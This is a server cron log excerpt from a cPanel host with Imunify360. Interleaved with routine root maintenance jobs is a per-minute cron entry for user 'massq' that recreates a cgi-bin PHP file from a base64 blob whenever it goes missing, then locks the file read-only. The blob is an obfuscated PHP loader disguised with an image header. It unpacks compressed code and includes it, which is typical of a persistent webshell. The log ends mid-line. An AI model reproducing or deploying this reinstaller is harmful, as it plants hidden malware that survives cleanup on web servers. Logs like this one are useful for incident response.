Sep 10 10:10:01 server CROND[373]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:10:01 server CROND[380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:10:01 server CROND[377]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:10:01 server CROND[378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:10:01 server CROND[381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:10:01 server CROND[382]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:10:01 server CROND[384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:11:01 server CROND[1322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:11:01 server CROND[1323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:11:01 server CROND[1325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:12:01 server CROND[1705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:12:01 server CROND[1706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:12:01 server CROND[1707]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:12:01 server CROND[1708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:13:01 server CROND[2207]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:13:01 server CROND[2208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:13:01 server CROND[2215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:14:01 server CROND[2588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:14:01 server CROND[2589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:14:01 server CROND[2592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:15:01 server CROND[2992]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:15:01 server CROND[2994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:15:01 server CROND[2998]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 10:15:01 server CROND[3003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:15:01 server CROND[2999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:15:01 server CROND[3004]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 10:15:01 server CROND[3000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:15:01 server CROND[3001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:15:01 server CROND[2997]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:16:01 server CROND[3843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:16:01 server CROND[3844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:16:01 server CROND[3845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:17:01 server CROND[4213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:17:01 server CROND[4214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:17:01 server CROND[4215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:18:01 server CROND[4650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:18:01 server CROND[4651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:18:01 server CROND[4652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:19:01 server CROND[5172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:19:01 server CROND[5173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:19:01 server CROND[5171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:20:01 server CROND[5582]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:20:01 server CROND[5584]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 10:20:01 server CROND[5585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:20:01 server CROND[5592]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:20:01 server CROND[5596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:20:01 server CROND[5593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 10:20:01 server CROND[5595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:20:01 server CROND[5594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:20:01 server CROND[5597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:21:01 server CROND[6418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 10:21:01 server CROND[6419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFww